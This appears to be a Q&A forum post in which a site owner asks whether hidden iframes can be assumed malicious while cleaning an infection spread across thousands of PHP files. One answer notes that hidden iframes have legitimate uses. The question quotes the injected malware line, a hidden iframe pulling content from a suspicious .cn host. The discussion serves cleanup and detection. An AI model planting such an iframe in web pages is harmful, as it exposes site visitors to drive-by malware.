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Asked: 2026-05-29T10:44:43+00:00

Is there any legit use for hidden iframe ? I’ve got viruses as per

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Is there any legit use for hidden iframe? I’ve got viruses as per Can a file be read and written right back with small changes without knowing its encoding in C#? which are all over the php files (it seems one entry per file but can’t be sure with 5000 files).

The ones I found have this but I can’t be sure there are others with something a bit different inside. Could I assume all iframe where visibility is hidden are malicious?

<iframe src="http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13" width=2 height=4 style="visibility: hidden"></iframe>

Or maybe there’s other way I could tell my c# code to look at it? I don’t want to break the files and websites but I can’t just look for exact value as I may miss something.

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1 Answer

  1. Editorial Team

    A hidden IFRAME can certainly be useful for malicious purposes, but it can be used legitimately. For example, you could use a hidden IFRAME to emulate asynchronous calls to the server (ASP.Net did this at one point, if I recall).

    I have also used IFRAMEs to get around file upload control limitations (both hidden and visible IFRAMEs can be useful for this).

    Suspicious, but not malicious by default.

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